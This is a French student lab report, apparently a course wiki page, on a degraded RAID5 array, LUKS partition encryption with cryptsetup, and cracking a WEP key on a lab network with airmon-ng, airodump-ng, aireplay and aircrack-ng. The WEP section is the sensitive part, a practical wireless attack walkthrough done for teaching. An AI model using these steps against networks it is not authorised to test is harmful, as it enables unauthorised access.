On copie alors des données sur le RAID5 afin que l'on puisse vérifier son efficacité. On supprime éteint à nouveau la VM pour supprimer un de ses volumes logiques dans la configuration Hades.cfg. Puis On relance notre VM. En affichant le contenu du fichier /proc/mdstat avec la commande cat :

Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md127 : active (auto-read-only) raid5 xvdc1[0] xvdc2[1]
      2093056 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
     
unused devices: <none>

On voit donc ici que notre RAID ne contient plus que 2 disk opérationnels sur les 3 ([3/2]). On va alors se rendre sur le dossier /mnt où nous avions mis un fichier texte :

root@Hades:~# cd /mnt/         
root@Hades:/mnt# ls

Celui ci n'est plus présent car nous n'avons pas remonté le RAID.

root@Hades:/mnt# cd ..
root@Hades:/# mount /dev/md127 /mnt
mount: /mnt: /dev/md127 already mounted on /mnt.
root@Hades:/# cd mnt/
root@Hades:/mnt# ls
lost+found  test.txt

En le remontant, on récupère bien notre fichier. Ce qui prouve que notre RAID5 fonctionne correctement. Même si un disk n'est plus présent, nous pouvons avoir accès à nos données.

Cryptage de données

Nous réaliserons la partie cryptage de données sur une partition de Cordouan au lieu d'une carte SD comme indiqué sur le sujet de TP. Cependant, nous ne pourrons donc pas tester le bon fonctionnement de ce dispositif. Pour créer la partition sur cordouan, nous utilisons la commande habituelle :

lvcreate -L 1G -n /dev/virtual/hadesCrypt -v

Puis nous allons ajouter cette partition dans notre fichier de configuration de notre VM hades.cfg sous forme de volume physique nommé xvdd1. Nous relançons alors la machine est installons les paquets lvm2 et cryptsetup. Celui ci nous demandera quel langue nous souhaitons utiliser avec notre clavier.

apt-get install lvm2
apt-get install cryptsetup

Nous utilisons alors la commande cryptsetup pour sécuriser notre partition xvdd1. La partition sera alors formatée en type luks et chiffré en aes avec un algorithme de hashage sha256 :

cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Il nous est alors demandé de confirmer que nous souhaitons bien formater la partition et donc perdre toutes les données se trouvant sur celle ci. De plus, nous devons entrer un mot de passe qui sera utilisé pour déchiffrer la partition.
Nous ouvrons ensuite la partition chiffrée et nous la formatons en ext4. Nous appellons alors le volume home. Nous devons pour cela entrer le mot de passe créé précédemment :

cryptsetup luksOpen /dev/xvdd1 home
mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

mount -t ext4 /dev/mapper/home /mnt

Nous pouvons alors y créer un fichier, démonter le volume et fermer le volume chiffré :

umount /mnt
cryptsetup luksClose home

Crack de la clé WEP

Le crack de la clé WEP fonctionne, pour la majeure partie, de la même façon que celui de la clé WPA :

airmon-ng                                //Listage des interfaces de l'appareil utilisé
airmon-ng start wlan0                    //Wlan0 utilisé en mode moniteur la nouvelle interface s'appelle wlan0mon

Pour répertorier les réseaux sans fils, et trier pour ne garder que les réseaux avec chiffrage WEP on utilise la commande :

airodump-ng --encrypt wep wlan0mon

On localise le réseau que l'on veut craquer: cracotte04. Pour arrêter le processus on appuie sur CTRL-C et on note les informations utiles : bssid et canal.

Et de la même manière que le WPA, on lance la commande

airodump-ng -c 9 –-bssid 04:DA:D2:9C:50:53 -w /root/Desktop/WEP wlan0mon

Cette commande capture les paquets qui transitent. Mais contrairement au WPA où l'on cherche à récupérer le handshake ici le but est de récupérer le maximum de vecteurs d'initialisation (représentés par data dans le tableau). Ce nombre va commencer à 0 et va augmenter proportionnellement au traffic. les vecteurs vont être sauvergardés dans le fichier WEP.cap au chemin spécifié. Plus le nombre de vecteurs est grand (IV) plus le crack de la clé sera aisé. Nous avons attendu d'en avoir 90,000 pour être sur. On aurait pu attendre simplement, mais cela augementait trop lentement, il y a donc une alternative.

En effet on fausse une connexion au point d'accès pour permettre d’injecter nos paquets correctement avec la commande aireplay

Et on voit la vitesse des datas augmenter considérablement. Une fois le nombre désiré atteint, on arrête le processus et on lance la commande de craquage avec le fichier créé:

aircrack-ng WEP.cap

Et voici le résultat :

TP sysres IMA5sc 2018/2019 G4 : Différence entre versions